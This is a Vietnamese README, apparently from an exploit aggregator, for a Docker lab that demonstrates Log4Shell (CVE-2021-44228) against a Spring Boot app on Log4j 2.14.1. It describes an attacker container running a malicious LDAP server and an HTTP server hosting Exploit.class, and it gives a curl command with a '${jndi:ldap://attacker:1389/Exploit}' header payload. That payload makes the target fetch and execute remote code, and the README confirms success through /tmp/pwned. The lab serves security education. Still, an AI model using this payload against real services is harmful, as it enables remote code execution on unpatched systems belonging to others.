## https://sploitus.com/exploit?id=A9E64333-6FE0-5730-89C8-DCF89E62B5D6
# Demo Khai thác Lỗ hổng Log4Shell (CVE-2021-44228)
Dự án này mô phỏng kịch bản tấn công RCE thông qua lỗ hổng Log4Shell trong thư viện Apache Log4j 2.
## Các thành phần
1. **vulnerable-app**: Ứng dụng Spring Boot sử dụng Log4j 2.14.1.
2. **attacker**: Chứa máy chủ LDAP độc hại (marshalsec) và máy chủ HTTP phục vụ file mã độc `Exploit.class`.
## Cách thực hiện
### 1. Khởi động môi trường
Yêu cầu đã cài đặt Docker và Docker Compose.
```bash
docker compose up --build
```
Đợi cho đến khi cả hai container sẵn sàng. `vulnerable-app` sẽ chạy trên cổng 8080.
### 2. Thực hiện tấn công
Mở một terminal mới và gửi request chứa payload JNDI thông qua header `X-Api-Version`:
```bash
curl -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost:8080/
```
### 3. Kiểm tra kết quả
- Kiểm tra log của container `vulnerable-app`. Bạn sẽ thấy thông báo payload đã được log.
- Kiểm tra log của container `attacker`. Bạn sẽ thấy kết nối LDAP được chuyển hướng tới HTTP server.
- **Xác minh RCE**: Kiểm tra xem file `/tmp/pwned` đã được tạo ra bên trong container `vulnerable-app` hay chưa:
```bash
docker exec -it vulnerable-app ls -la /tmp/pwned
```
Nếu file tồn tại, chứng tỏ mã độc `Exploit.class` đã được thực thi thành công!
## Cảnh báo
Dự án này chỉ nhằm mục đích giáo dục và nghiên cứu bảo mật. Tuyệt đối không sử dụng cho mục đích bất hợp pháp.